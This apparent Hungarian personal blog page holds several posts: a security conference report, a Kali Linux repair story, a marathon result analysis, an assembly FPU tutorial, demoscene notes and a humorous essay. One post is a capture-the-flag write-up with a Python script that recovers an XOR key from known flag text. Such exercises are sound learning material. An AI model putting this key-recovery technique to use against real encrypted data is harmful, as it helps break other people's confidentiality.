HTML

Az élet kódjai

Csináld maga. Senki nem csinálja meg helyetted.

Friss topikok

  • sdani: Sajnos nekem is hasonló érzéseim vannak az R kiszorulásával kapcsolatban. Remélem jobban fogja tar... (2024.04.29. 10:48) R meetup
  • sdani: Nagyon jók ezek a bejegyzések! Feszültséggel teli, fordulatos, mint egy jobb krimi. :D Abba ne hag... (2024.04.29. 10:35) Wgel CTF
  • sdani: @Travis.CG: Egy kis szerencse sosem árt. :D (2024.03.01. 13:19) A bioinformatika helyzete 2024-ben
  • Travis.CG: Szóval az akadémiai szféra mazochistává tett, amit a Pinephone-al élek ki? Hmm, érdekes összefüggé... (2023.10.05. 18:23) Új barátom az Informatikai titkárságról
  • Travis.CG: Túl nagy a hype körülötte, ezért túlzó elvárások vannak vele szembe. Ha a korábbi chatbotokhoz kép... (2023.02.28. 06:28) chatGPT, a bioinformatikus

Hacktivity 2024

2024.11.02. 09:09 Travis.CG

A BSides után nem volt kétséges, hogy a Haktivity-re is elmegyek. Ez egy nagyobb szabású rendezvény volt, négy teremben folytak párhuzamosan a szemináriumok és workshop-ok. Egy külön teremben pedig valami hackerspace is volt.

A kiállítók között nem volt olyan, aki most érdekelt volna. Egyedül az ISACA-hoz mentem oda. Ők kurzusokat hirdettek, azt hittem lesz közöttük olyan, ami számomra érdekes lehet. Hamar kiderült viszont, hogy inkább vezetőket képeznek, nem technikai szakembereket. Például van auditor képzésük is, de mikor megkérdeztem, mit is csinál egy auditor napi szinten, csak annyit válaszoltak, hogy kérdezzem meg e-mailben. Túl sok hasznos információt nem kaptam, de elhoztam egy prospektust az aktuális piaci körképről. Rögtön találtam is benne egy hibás statisztikai elemzést :-).

Az előadások, amire beültem, elég gyengék voltak. Mármint nem a szinvonal, hanem az előadói képességek hiánya miatt. Például érdekelt volna az autó hackelés, de az előadó beszélt a Pythonról, Scratch-ről, egy kicsit a CAN Bus-ról, de hogy ezek hogyan kapcsolódnak, arra már nem jutott idő. A háromnegyed órás előadás során csak egy dián voltak autók! Gondoltam, majd a workshop-on, amit szintén tartott, majd ezekre a hiányosságokra fog fókuszálni. Ott újra levetítette az előadást. Ennél a lépésnél feladtam. Egyébként sem vittem laptopot, a gyakorlatot nem tudtam volna végigvinni, úgyhogy kimentem.

Apropó workshopok. Elméletileg csak úgy lehetett bemenni a workshopokra, ha előzetesen arra regisztráltak. De az többeknek (köztük nekem is) nem volt tiszta, mégis hol? Ott állt egy csomó tanácstalan ember, akiket érdekelt volna egy téma, csak nem tudták, mit tegyenek. Szerencsére az oktatók elég rugalmasak voltak, és nem néztek jelenléti ívet.

Meghallgattam még egy érdekes előadást, ahol a Spanyolország egyik városában a választások előtt utalványokat osztogattak. Ehhez gyorsan összedobtak egy weboldalt, ahol igényelni lehetett ezt. Sajnos a biztonságra már nem ügyeltek, ezért bárki nevében ki lehetett tölteni az űrlapot és le lehetett tölteni az utalványokat. Az előadó vért izzadt a hivatalos úttal, ahol jelentette a hibákat. Végül a rendszert nem javították, csak annyit tettek, hogy a kuponok beváltásához személyit is kértek. Csak azért írtam le ezt, hogy lássuk, máshol sem fenékig tejfel az élet.

Megnéztem a hackerspace-t is. Egy rakás zár, lakat volt szétdobálva, azokat lehetett nyitogatni. Elkezdtem próbálgatni őket, de egyiket sem tudtam kinyitni. Némelyik láthatóan sérült volt, egyes zárakat például kettéfűrészeltek, talán, hogy könnyebben lehessen kinyitni. Aztán választottam egy számzáras lakatot, ahol egy kis papíron még a kombináció is rajta volt. Azt sem tudtam kinyitni. Ekkora antitálentum vagyok.

Szakmailag jobb volt, mint a BSides, de számomra sokkal unalmasabb volt. Egyrészt a gyakorlatlan előadók miatt, másrészt az én készületlenségem miatt.

Szólj hozzá!

Címkék: biztonság

Megnyekkent a Kali

2024.10.29. 09:16 Travis.CG

A CTF-eket VPN-en keresztül szoktam megoldani, de egyik napról a másikra történt valami, amitől TLS hibára hivatkozva nem jött létre a kapcsolat. Első körben kértem új tanúsítványt, de azzal sem ment. Mivel már régóta nem frissítettem a Kali Linuxomat, gondoltam hátha az a probléma, hogy az OpenVPN elvault. Ha már frissítünk, frissítsünk komolyan, ezért az egész disztribúciót update-eltem.

A frissítés után eltűnt a hátterem, az ablakok dekorációja, a panelre nem lehetett klikkelni. A grafikus felület használhatatlanná vált. A neten találtam egy leírást, hogy indítsam el a fvwm4 --replace-t, és minden jó lesz.

Megtettem. Megjelent a háttér, az ikonok, de nem volt panel. Jobb egérgombra megjelent valami menü, amivel egy terminált azért tudtam indítani. Egy másik megoldás az volt, hogy töröljem a .local-t, a .cache-t és a .config-ot és indítsam újra. Ezt is megtettem. Újraindítás után minden megjelent, ami kellett.

Hurrá! Örültem. Munka után kikapcsoltam a gépet, másnap pedig indítás után jött a meglepetés. Az ablak dekorációk megint eltűntek. Ismét töröltem a kérdéses könyvtárakat, újraindítás után megint volt minden. De a következő újraindítás után kezdhettem elölről a folyamatot.

Pár nap után kezdtem megelégelni a dolgot. Különösen, hogy az OpenVPN továbbra sem működött, de most legalább a grafikus felület is rendetlenkedett. Úgy döntöttem, itt az ideje fixálni.

Elsőre az jutott az eszembe, hogy áttérhetnék Gnome-ra az fvwm helyett. A apt install kali-desktop-gnome azt hittem segíteni fog, de képtelen volt települni, mert nem tudta installálni a qt5ct-t. Megvontam a vállam, és kiadtam a végzetes sudo apt install qt5ct parancsot.

Annak ellenére, hogy ez egy telepítési parancs volt, valami ismeretlen okból 6Gb adatot törölt a gépemről, mondván, hogy arra már nincs szükség. A programok között volt a Metasploit, a Jupyter Notebook, millió Python csomag, de még az OpenOffice is. Utána viszont települt a Gnome.

Csak nem indult el. Elég jól álltam: nem ment a VPN, nem működött a Gnome, az fvwm, és még az eszközök nagy része is eltűnt. Oké, a Gnome nem megoldás. Eltávolítottam, de a grafikus környezet beállításai között továbbra is a Gnome volt az alapértelmezett, ezért grafikus felület megint nem indult el.

Kimentem parancssorba, majd a sudo update-alternatives --config x-session-manager paranccsal beállítottam, hogy ne az eltávolított Gnome-ot akarja betölteni. Visszakaptam a hibás fvwm rendszeremet. Ebben az állapotban már ennek is örültem.

Hanem észrevettem egy másik anomáliát is. A YouTube videók akadozva mentek. Lehet, hogy nincs hardveres gyorsítás? Egyre inkább úgy tűnt, hogy a netes megoldások nem segítenek, ezért azt tettem, amit először is tennem kellett volna: túrni kezdtem a logokat.

Az első hasznos nyom az .xsession-errors fájlban volt. Csak egy apró figyelmeztetés formájában, hogy nem tudja betölteni a Mesa GLX drivert. Még csak nem is hiba volt, de arra gondoltam, egy driver hiánya azért elég komoly dolognak kellene lennie.

Elkezdtem listázni a Mesa csomagokat, amikor is feltűnt, hogy a libglapi-mesa csomagból nem a legfrissebb van fent. Az apt update ezt valami miatt nem frissítette. Feltettem a csomagot, és működött a grafikus felület. Megvoltak a dekorációk, a háttérkép és a panel is. Még újraindítás után is megmaradt.

Oké, visszakaptam a rendszeremet, de a TryHackMe VPN még mindig nem megy. A böngészős AttackBox működött, de azt nem szeretem. Összesen 4 EU-s szerverük van, úgyhogy elkezdtem minden szerverre kulcsot kérni. A harmadiknál már csatlakozni is tudtam. Működött minden. Csak a letörölt csomagokat kell pótolni...

Szólj hozzá!

Címkék: rendszergazda

Fut a tata

2024.10.17. 10:22 Travis.CG

A futásban már stabilan megy a 10km, úgyhogy elkezdett érdekelni, mégis mennyire vagyok jó. Ha az ember egyedül rója a köröket egy szántóföldön, egy órával, ami elcsalja a métereket, nem sok visszajelzése van, hogy mégis mire képes.

Úgyhogy jelentkeztem a Budapest Marathonra, ahol a sok táv között volt 10km-es is. Meg kellett adni egy szintidőt is, ami az eddigi méréseim alapján 1 óra 10 perc volt. Be is soroltak az utolsó turnusba, ahol a leglassabb futókat indítják. Ez kicsit letörte a lelkesedésemet, de egyuttal minden elvárást is kiölt belőlem. Azt is írták, hogy akit utólér egy busz, annak a verseny véget ér. Így már nem is versenynek nézett ki számomra az esemény, hanem egy menekülésnek. Menekülésnek a söprögető busz elől. Az edzések során ezért igyekeztem a gyorsaságot növelni, hogy nehogy a végén a buszon végződjön a kaland.

A rajtszámot egy nappal előbb vettem fel. Mint kiderült, kellett volna vinnem a visszaigazoló emailt is, amit én természetesen elmulasztottam. Jól le is szúrtak miatta, de azért néhány ellenőrző kérdés után megkaptam mindent, mert az összes részletre emlékeztem.

A rajtszámon egy RFID chip is volt, de a Flipper nem tudta olvasni, mert nem 125KHz-en működött.

Korán lefeküdtem aludni, hogy legyen elég energiám és mivel nem volt semmi veszteni valóm, jól is aludtam. Annyira jól, hogy elaludtam. Rögtön eszembe jutott egy régi filmparódia, ahol a főszereplő vadászpilóta felkel, kinéz az ablakon, majd megjegyzi: Lekéstem a bevetést!

Rohantam a vonatra, az átszállásokra. Persze a vonat is késett, ha nem is sokat. Húsz perccel a rajt előtt megérkezdtem. Mekkora tömeg volt! Mindenki futóiskolázott, bemelegített, én meg nem tudtam hol kell gatyát cserélni. Bementem az ELTE egyik épületébe, ahol a kiírás szerint lehetett öltözni. Az épületen belül nem volt semmi jelzés, hogy ott mégis merre kell menni. Járkáltak ott össze-vissza. Megkérdeztem egy embert, hol lehet átöltözni, aki a csarnok közepére mutatott, hogy ott.

A mosdók előtt kilóméteres sorok álltak. Szerencsére már jártam itt még TDK-s koromban, úgyhogy tudtam hol találok még WC-t, amit kevesen nem használtak. Már csak 10 perc volt rajtig. Rohantam, hogy még le tudjam rakni a ruhatárba a csomagomat, persze azt sem találtam. Szerencsére információ volt minden stratégiai fontosságú ponton. Természetesen az értékmegőrzőt is eltévesztettem, mert abból is több fajta volt, de a szervezők is látták, hogy közel a rajt, úgyhogy megkönyörültek rajtam és átvették a csomagot. Még bedobtam két szőlőcukrot, majd két perccel a rajt előtt beálltam a futók közé. Majd futás közben bemelegedek.

A turnusokat késleltetve indították, úgyhogy számomra a rajt után még legalább 10 percig nem történt semmi, csak araszoltunk a rajt felé. Aztán elindultunk. Akkor már láttam, hogy nem jó csoportban vagyok. Az első három kilóméter azzal telt, hogy kerülgettem az embereket. Megelőztem Szuper Máriót és Luigit, egy csigának öltözött nőt és céges futócsapatokat.

Amin meglepődtem, hogy mennyien szurkoltak vad idegen embereknek. Kijöttek és mást sem csináltak, csak buzdítottak minden futót. Volt, aki kolomppal, kereplővel segített. Egyes helyeken pedig zenekarok játszottak.

Három és fél kilóméternél jött az első frissítőállomás. Hamar rájöttem, hogy futás közben nem tudok inni, ha megállok, akkor meg időt veszítek. Végül is edzés közben sem szoktam inni, nagy meleg sem volt, ezért a többi frissítőt kihagytam. Legyen jó eredményünk.

Nagyjából az ötödik kilóméternél voltam a tempómnak megfelelő szakaszban. Addigra már lehagytam a turnus iramfutóit is. Ez már kényelmes volt, tudtam tartani a tempómat. Nem kellett kerülgetni az embereket, senkit nem tartottam fel. Viszont kezdett fogyni a levegőm is.

Másoknak nem voltak ilyen problémáik. Még arra is volt energiájuk, hogy szelfizzenek. Egy pár is futott, ahol a nő még kis hátizsákot is cipelt, amiből a fickó menet közben kis is vett valamit. Anyukák babakocsival futottak. Sőt, láttam egy háromgyerekes családot is, ahol az apa egy gyereket tolt, az anya meg az ikreket. (Miért mindig a nők futottak nagyobb teherrel?) Én meg majd megdöglöttem.

Az órám mindig fél kilóméterrel korábban jelzett, mint a táblák, ezért nem is adtam sokat az óra információira, csak az időt néztem. Úgy tűnt hat percen belül teszek meg egy kilómétert. Akkor lesz rekord!

Az utolsó kilómétert megnyomtam. Lihegtem, fújtattam, mint egy gőzgép. A mozgásom is kezdett szétesni, de akkor már nem érdekelt. Próbáltam hosszúakat lépni és amennyire lehet, egyenletesen lélegezni. A célt 1 óra 5 perc után értem el, de az ugye az első turnus indulásától számított idő. Az időm végül 56:43 perc volt, ami király. Nem gondoltam volna, hogy egy órán belül leszek. Aztán már terelték is ki az embereket. Adtak egy kis reklámcsomagot, banánt, amit azonnal befaltam.

Kerestem egy viszonylag üres területet, majd lenyújtottam. Utána már a pulzusom is helyre állt. Kicsit még körbenéztem. Rengeteg kiállító volt, akik mindenféle futással kapcsolatos dolgot árultak, talpat mértek (szigorúan számítogéppel. Kíváncsi vagyok mikor lesz AI talpvizsgálat). Zsibvásári hangulat volt, amit hamar meguntam.

Az eredmény értékelése csak ez után következett. Először is meg kellett szerezni az adatokat. Ennek majd szentelek egy teljes bejegyzést, most csak legyen elég annyi, hogy JSON-ban az összes futó adata letölthető, ha az ember tud szkripteket írni.

A JSON adatokat összefűztem, CSV-be konvertáltam, majd beolvastam R-be. Az idő adatokat percbe konvertáltam, majd készítettem egy denzitás görbét, nőkre és férfiakra. A szaggatott vonallal bejelöltem a saját időeredményemet.

runtime.png

Anélkül, hogy komolyabb statisztikai elemzést végeznék, ránézésre azt mondhatjuk, hogy ez egy teljesen átlagos férfi eredmény.

Szólj hozzá!

Címkék: sport

W1seguy CTF

2024.10.06. 19:58 Travis.CG

Ez most egy kriptográfiai kihívás volt. Kriptográfiában nem vagyok jártas, de ezt a feladatot meg tudtam csinálni. Először kapunk egy forráskódot. Ez egy szerver, ami az egyik változójában tartalmaz egy flag-et (a forráskód nem tartalmazza az éles szerver flag-jét, azt majd nekünk kell kitalálni), előállít egy véletlen sztringet, XOR-al titkosítja a flag-et, majd kiírja a titkosított üzenetet.

Ezután megkérdezi, hogy mi volt a titkosítási kulcs. Ha eltaláljuk, kapunk egy második flag-et is. A szervert el is indíthatjuk, ami minden indításnál kiírja a titkosított üzenetet, majd kéri a kulcsot. Ha rosszat adunk meg, kilép.

Tehát első látásra lehetetlen a feladat, mert nem ismerjük sem a kulcsot, sem a nyers szöveget, csak a titkosított üzenetet. Nyers erővel sem törhetünk, mert csak egy lehetőségünk van, hogy a választ beírjuk. Kénytelenek leszünk gondolkodni.

Az XOR titkosításnak van egy érdekes tulajdonsága. Ha a titkosított szöveget ismét titkosítjuk ugyan azzal a kulccsal, akkor visszakapjuk a nyers szöveget. Ha viszont a titkosított szöveget az eredeti, nyers üzenettel titkosítjuk újra, akkor pedig a kulcsot kapjuk meg.

Milyen jó lenne ismerni az eredeti üzenetet! Igaz, az eredeti üzenetet nem ismerjük, de bizonyos tulajdonságairól van némi információnk. Például mindig "THM{"-el kezdődik. A forráskódból még az is tudjuk, hogy a kulcs 5 karakter hosszú.

Úgyhogy írtam egy programot, ami végigpróbálta milyen karakter állhat a "THM{" után. Titkosítottam vele a titkosított üzenetet, ezzel kaptam egy lehetséges kulcsot. A kulccsal ismét titkosítottam a titkosított üzenetet és reménykedtem, hogy felismerem majd, melyik lehet a jó megoldás (ugyanis a legtöbb flag nem random, hanem valami üzenet hacker stílusban). Íme a kód:

import string

def decode(hexinput, key):
   strinput = bytes.fromhex(hexinput).decode()
   xored = ""
   for i in range(0, len(strinput)):
      xored += chr(ord(strinput[i]) ^ ord(key[i%len(key)]))
   return xored

def doit():
   hex_encoded = input().strip()
   print("This XOR encoded text has flag 1: " + hex_encoded + "\n")

   for i in string.ascii_letters + string.digits:
      test = decode(hex_encoded, "THM{" + i)[0:5]
      out = decode(hex_encoded, test)
      if out[-1] == '}':
         print("Here is the result with the test", test, out)

doit()

Ahogy böngésztem az eredményeket, feltűnt valami. A jó megoldásnak az üzenet végét "}"-el kell lezárnia. Úgyhogy azt is beleírtam a programba, mint ellenőrzést. Elindítottam a szervert, ami kiírta a titkosított üzenetet. Azt kimásoltam, betettem a programomba, ami kiírta a kulcsot és az első flag-et. A kulcsot visszaírtam a szervernek, mire jutalmul megkaptam a második flag-et is.

Átnéztem, mások hogyan oldották meg, és akinek matematikus vénája van, az hamar rájött, hogy a titkos kulcs ötödik eleme mindig a záró kapcsos zárójelet fogja kódolni, mert a flag hossza 5 többszöröse. Tehát mindig csak egy jó megoldás lehet. Ez nekem nem esett le, de CTF-nek nagyon jó volt.

Szólj hozzá!

Címkék: biztonság

Tanuljunk assemblyt - kicsit máshogy 3. rész

2024.09.29. 19:24 Travis.CG

Kicsit megállt ez a sorozat, de nekem is fel kellett hoznom magam, hogy folytatni tudjam. A mostani részben megismerkedünk a számolással, elvégre a számítógép egy számító gép. (Pocsék poén achivement unlocked)

Kétféle módon számolhatunk. Az egyik módszerrel csak alapműveleteket végezhetünk egész számokon, a másikkal viszont a megnyílik előttünk a lebegőpontos számítás és a teljes matematikai függvénytár is. Jól hangzik nem? Kíváncsi vagyok, hogy a végére is ezt mondjátok-e.

Kezdjük az egyszerű módszerrel. Az egyszerű módszernél használhatjuk az általános célú regisztereket. Számolhatunk velük, de csak egész értékekkel dolgozhatunk. Összeadás:

mov ax, 3
add ax, 4

Az ax regiszterben az ax (3) és a 4 összege kerül, tehát hét. Olyan, mint a magasabb szintű programozási nyelvekben az x = x + 4. Szorzás:

mov bx, 4
mul bx

Az ax regisztert megszorozza egy másik regiszterrel. Közvetlen értékadás nem lehetséges, mint az add esetén. Az eredményt mindig ax-ben fogja tárolni. A div, ami az osztást végzi, kicsit másképp működik, ugyanis az eredménnyel két regisztert fog megtölteni. Az ax-t és a dx-t.  Az ax-be kerül a hányados, a dx-be a maradék. Emiatt van egy ökölszabály, hogy a dx regisztert az osztás előtt nullázzuk. Ha nem így teszünk, a programunk fagyni fog.

mov dx, 0
mov ax, 10
mov bx, 2
div bx

Még egy fontos dolgot kell megemlíteni az osztással kapcsolatban. Nem lehet neki közvetlenül értéket adni, mint az összeadásnál. Ezért használom a bx regisztert közvetítőnek.

Egyszerűen hangzik, nem? Nos, van néhány probléma. Először is, az eredmények nagyobbak lehetnek, mint ami a regiszterben elfér. Másodszor, a negatív számokat máshogy tárolják. Ezért külön utasítások vannak az előjeles számokra szorzás és osztás esetén. Ezek az imul és az idiv. Ezekkel most nem foglalkozom, de tudjatok róla, hogy ilyenek is vannak. Most csak az egyszerű esetekkel foglalkozom, aztán ha már lesz rutin, visszatérünk rájuk.

A hibakezeléssel sem foglalkozunk, mert az intrók nem nagyon kezelik a hibákat, mert azzal értékes helyet pazarolnak. Honnan tudjuk, hogy a művelet hibás? A processzor segít nekünk, ahogy tud. Fogja magát és újabb regisztereket fog beállítani. A következő részben csak debug lesz, ott visszatérek erre.

A bonyolult módszer a matematikai segédprocesszor, az FPU használatán alapul (ami csak régen volt külön processzor, most már egybe van építve a CPU-val, de hát a kompatibilitás miatt így maradt meg a köztudatban). Itt újabb regisztereket kapunk, amit ST-vel és egy számmal jelzünk. Tehát az első regiszter az ST0. Újabb regiszter kezelő utasításokat kell megismerni. Ezek a regisztereket nem érhetjük el szabadon, hanem egy verem szerű képződményen keresztül. Azért hívom verem-szerűnek, mert nem tud megtelni. Ha nyolcnál több értéket pakolsz bele, a régieket egyszerűen elfelejti. Bármilyen hibaüzenet nélkül. Jó, mi?

Hogyan tudunk adatokat másolni ezekbe a regiszterekbe? Csakis memóriából. De azért ne örüljetek annyira! Ezek a regiszterek 80 bitesek. A lefoglalt memórai tehát vagy kisebb, vagy nagyobb lesz, mint a regiszter, soha nem akkora. Ez majd jusson eszetekbe, ha nem értitek, miért változott meg a szám, amit az FPU-ba töltöttetek.

Először jelezzük a kódban, hogy mostantól FPU-t is akarunk használni:

finit

Most pedig másoljunk értékeket a regiszterekbe. Hiszen értékek nélkül nem tudunk számolni. Mivel eddig egész számokkal dolgoztunk, most is egész számokat fogunk használni.

fild [memóriacím]

Ezzel a memóriacímről az értéket az ST0 regiszterbe másoljuk. A kapcsos zárójel nélkül a memóriacímet másolja át, nem az ott tárolt értéket. Ha még egyszer kiadjuk a parancsot, akkor az ST0 értéke ST1-be kerül, az új érték meg ST0-ba. Újabb parancsok tovább tolják a régi értékeket a verem mélye felé.

Ha ki szeretnénk nyerni az értékeket, akkor azt a következő módon tehetitek meg:

fist [memóriacím]

Az ST0 érték a memóriacímre kerül, ST1 pedig ST0-ba. Ha az értékek az FPU regisztereiben vannak, akkor kezdődhet a számolás.

Összeadás fadd, szorzás fmul. Az eredmény szinte minden esetben az ST0-ba kerül, hasonlóan ahhoz, ahogy az ax-be helyezik az eredményt az egyszerű módszernél. Az alapműveletek mellett használhatjuk a szögfüggvényeket is. Ennek örömére készítettem egy egyszerű programot, ami egy kört rajzol, és rengeteg FPU műveletet érint.

Sokféle módon lehet kört rajzolni, ez a módszer végigmegy 0-tól 360 fokig az összes szögön, és mindegyik szöghöz kiszámít egy X és Y koordinátát. Ha elég kis lépéssel haladunk végig a szögeken, akkor folytonos lesz a kör. Ez nem a legoptimálisabb módszer, mert egy pontra többször is rajzol, de sok számítás kell hozzá, könnyen érthető és látványos az eredmény. Demonstrációs célra tökéletes.

org 100h
section .text
start:
       mov ax, 13h
       int 10h
       mov ax, 0A000h
       mov es, ax
       mov cx, 628
cyc:
       mov word [r], cx
       finit
       fild word [r]
       fmul dword [step]
       fsincos
       fmul dword [radius]
       fadd dword [centery]
       frndint
       fimul dword [width]
       fistp dword [y]
       fmul dword [radius]
       fadd dword [centerx]
       frndint
       fiadd dword [y]
       fistp word [y]

       mov di, [y]
       mov ax, 2
       mov [es:di], al

       loop cyc
waitsec:
       in al, 60h
       dec al
       jnz waitsec

       mov ax, 03h
       int 10h
       ret

section .data
       radius:  dd 70.0
       centerx: dd 160.0
       centery: dd 100.0
       step:    dd 0.01
       width:   dd 320
section .bss
       y: resd 1
       r: resw 1

Kezdjük a végén, mert új elemek vannak a programban. Mint említettem, az FPU-nak memóriacímek kellenek. Ezeket definiáljuk a section .data és section .bss részeknél. Előbbi statikus adat, nem módosíthatjuk. Definiáljuk a kör sugarát (70), a kör középpontját (160 és 100), egy lépésközt, valamint a képernyő szélességét (320). Meg kell adni a felhasználni kívánt memória méretét is. A dd a double word, vagyis 32 bit méretű. Ez a legegyszerűbb adattípus, amivel számokat cserélhetünk az FPU regisztereivel.

Ha módosítani is szeretnénk az adott memóriaterületet, akkor a section .bss-ben definiálhatunk változókat. Ebben a programban két változót fogunk használni, az y-t és az r-t. A dd helyett itt resd-vel adjuk meg a 32 bites típust. A resw egy word méretű memóriarész, tehát csak 16 bites. A legvégén a szám azt jelenti, mennyi elemet akarunk az adott adattípusból. Tehát ha egy tömbre lenne szükségünk, akkor ennek a tömbnek az elemeinek a számát adhatjuk meg- Az adattípusokról most elég ennyit megjegyezni, de tudjunk róla, ennél sokkal több van. Ami a lényeg jelen pillanatban, hogy d-vel definiáljuk, ami konstans, res-el ami változhat.

Oké, a program nagy része ismerős lehet. Ami új, az a finit-el kezdődik, és az utolsó fistp-vel végződik. Koncentráljunk erre a részre. Ahogy említettem, a finit inicializálja az FPU-t, innentől használhatjuk a szuper utasításokat.

fild word [r]

Az r változó értéke ezzel az ST0-ba kerül. A [r] az r változó memóriacíme, ebből még nem lehet tudni, hogy mekkora az adott változó. Ezért kell explicite megmondani a word kulcsszóval, hogy mennyi bájtot is akarunk beolvasni.

fmul dword [step]

Az ST0-t és a step értékét összeszorozzuk. Mivel ST0 az r változó, ezért az ST0 mostantól a r * step szorzat eredményét tartalmazza. A step változó már dupla szó, ezért dword-el jelezzük, hogy a számot nagyobb memóriáról kell beolvasni.

fsincos

Egy lépésben kiszámoljuk az ST0 szinusz és koszinusz értékét. Az ST0-ba kerül a szinusz, ST1-be a koszinusz kerül. Beteg mi? Szerencsére a kör pontjainak kiszámításához pont erre a két szögfüggvényre van szükségünk.

fmul dword [radius]

A ST0, vagyis a szinusz eredményt megszorozzuk a kör sugarával, tehát megkapjuk a kör adott szögéhez tartozó pont Y koordinátáját, ha a kör középpontja a 0 pontban lenne. De nem ott van, ezért szükség lesz a következő utasításra is:

fadd dword [centery]

Vagyis hozzáadjuk a kör középpontjának Y koordinátáját, ami szintén dupla szó (dword). Van egy lebegőpontos Y koordinátánk az ST0 regiszterben. Ezt képernyő pixelnek kell megfeleltetni. Bizonyára emlékszünk, hogy ebben a felbontásban, amiben dolgozunk, a pixelek folyamatosan mennek balról jobbra, ha a képernyő szélére érnek, ugranak egy sort. Ezért az Y * WIDTH + X képlettel kiszámoljuk, melyik pixelről van szó. A számításoknak még nincs vége!

Először is a lebegőpontos számokat egésszé konvertáljuk, mert a képernyő pozíció egész szám.

frndint

Az utasítás az ST0 regiszter tartalmát egész számmá konvertálja. Több módon is egésszé konvertálhatunk egy tizedestörtet, ez az utasítás a legközelebbi egész számra kerekít. Mivel az egész számokat máshogy tárolja a gép, ezért nekünk kell tisztába lenni, hogy milyen típusú adatokon hajtjuk végre a műveleteket, és a típusnak megfelelő üzenetet kell használni.

fimul dword [width]

A fimul a szorzás, de egész számokkal. Az Y koordinátánk már egész szám, ezért így szorozzuk.

fistp dword [y]

Az ST0 regiszter értékét az y változóba helyezzük. Az X koordináta eddig az ST1-ben volt, az most az ST0-ba kerül. Megismételhetjük az egész procedurát, hogy megkapjuk a másik koordinátát.

fmul dword [radius]
fadd dword [centerx]
frndint
fiadd dword [y]

Az utolsó lépésnél az X koordinátát, ami az ST0 regiszterben van, hozzáadjuk az Y * WIDTH részhez, amit korábban elhelyeztünk az Y változóban. Igen, itt kicsit félrevezető a változó neve, mert nem a tiszta Y koordinátát tartalmazza. Sőt, továbbmegyünk! Kimentjük az értéket az utolsó fistp utasítással az Y változóba, ami immár a pixel sorszámát tartalmazza a memóriában. De 256 byte intróknál spórolni kell a változókkal, mert sok helyet foglalnak.

Aki idáig eljutott, és begépelte, lefordította a programot, csalódni fog. Teljes kör helyett csak egy félkört fog rajzolni! A program hibát tartalmaz. A következő részben sajnos uncsi memória méretekkel és még uncsibb debuggolással fogunk megismerkedni. Megtaláljuk a hibát, és kijavítjuk.

Szólj hozzá!

Címkék: programozás

Végtelen QBParty

2024.09.22. 18:27 Travis.CG

A wild végül nem készült el, de ez kivételesen nem rajtam múlt. Sikerült szerezni zenészt, aki ráadásul a MoonShine tagja, de nem volt annyi ideje, hogy a party kezdetére elkészüljön. Zene nélkül meg nem akartam beadni. Assembly-re nem készült el, QBParty-ra nem készült el, majd kész lesz egyszer.

Azért nem jöttem üres kézzel, a 256 byte intróm kész lett, és találtam egy fotót is, amit be tudtam adni. Nyerni egyikkel sem fogok. (Üzenet a jövőből: nem is nyertem.)

Kicsit féltem lejönni, mert rengeteg szervezési problémáról hallottam. Szerencsére a helyszínen egyik sem tűnt olyan súlyosnak, hogy a parti létét veszélyeztesse. Legalábbis aki le akart jönni, az lejött, láttam embereket, akik release-t heggesztettek még az utolsó pillanatban is, úgyhogy nagy gond nincs.

A fotók sokkal jobbak voltak, mint Assembly-n, ezt bízvást állíthatom. Matthew turbóra járatta magát, mert egyből két zenét is beadott, volt játéka, előadást is tartott és még egy DJ szettet is lenyomott róka jelmezben. Oh, azt el is felejtettem írni, hogy szervező is.

A zenék egészen jók voltak, bár az egyik úgy hangzott, mint a 90-es években a zenélő kulcstartók és a Wizard of Wor szerelem gyereke. Na, az nem tetszett. Az eredményeket nézve másnak sem.

A játékok nagyon jók voltak, Helguli egy Arduinós memóriajátékot hozott, ahol nem egyforma képeket, hanem egyforma zenéket kellett megtalálni. De az Escape from Metropolis is nagyon látványos volt, azzal még nekem is megjött a kedvem egy kis játékhoz.

A két compó blokk között lehetett grillhusit enni.

A 256 byte intrókat Antiemes spammelte. Három intrót adott be, de ugyan azzal a technológiával készültek. A 8k is kellemes volt, de érezhetően 4k-nak készültek.

Az oldschool prodok között feltűnt egy Primo és egy TVC alkotás. A TVC alkotás erősen hajazott a Lethargy Das Boot demójára. Apropó Lethargy: ők diafilm demót készítettek. A Primo demó sztori alapú volt, ami nekem pluszban bejött.

A nosztalgia hullám a demóknál is megjelent. A TGD a Lehel hűtők (sőt, egy bizonyos Lehel hűtő modell) által okozott lelki traumákat hívta életre. Remek megvalósítás, jó zene, borítékolható, hogy nyerni fog. De a többi indulónak sem volt oka panaszra. Alibi produkciót nem is láttam.

A kompók után Ziona DJ műsora kötötte le az ébren maradók figyelmét. Általában nem vagyok egy DJ párti, ilyenkor vagy kimenekülök a teremből, vagy átalszom. Ez a mostani viszont tetszett. Azon kaptam magam, hogy nem is a blogot írom, hanem a műsort hallgatom.

Kint Jotek állította fel távcsövét, amin keresztül nézhettük a csillagokat. Az eredményhirdetés után még egy tűzijáték is volt. Nem csalódott, aki eljött. A parti hozta a szokott hangulatot. Egyetlen fennakadásról tudok, a pénteki napon ugyanis elírták a PHP kódot, ami miatt csak 556 byte méretet lehetett feltölteni. Ezt leszámítva minden simán ment. Én személy szerint jól éreztem magam, remélem más is.

Szólj hozzá!

Címkék: demoscene

A Férfi és a Szerszám

2024.09.19. 16:01 Travis.CG

A Férfinak Szerszám kell. A Szerszám által a Férfi megváltoztatja az Anyag és az Energia tulajdonságait. Beleavatkozik a Világmindenség folyamataiba és saját igényeire szabja azt. Mikor végez, megnyugszik, eggyé válik a Végtelennel, mert a dolgok a jó irányba folynak. Létrejön a harmónia.

Aztán egy nap elromlik a hosszabbító. De a Férfit ez nem keresíti el, hiszen ott a Szerszám! A Szerszám, ami végigkísérte az Úton. Tőle független entitás, mégis a része, ahogy egy kettős csillag is egy egységet alkot miközben keringenek a láthatatlan közös tömegközéppont körül. Egyik sem létezhet a másik nélkül.

A hosszabbító pedig a létező legprimitívebb alkotás, amit kivethet magából az Ősrobbanás. Csupán néhány szigetelt vezeték egy lecsavarozott műanyag dobozban, ami a messzi Kínából érkezett. Híjján van kreativitásnak, bravúrnak. A végtelen egyszerűség jelképe.

És eljön a pillanat, amikor a Férfi és Szerszáma áll szemben ezzel az ócska tucatárúval. A Férfi számára nem kérdés az események kimenetele. Magabiztosan nyúl a Szerszám felé, hogy helyretegye az Univerzum hibás szeletét és helyreállítsa a tér-idő kontinuumot. Majd jön a döbbenet: A Szerszám nem kompatibilis a csavarral, ami összetartja ezt az ócskaságot.

csavar.jpg

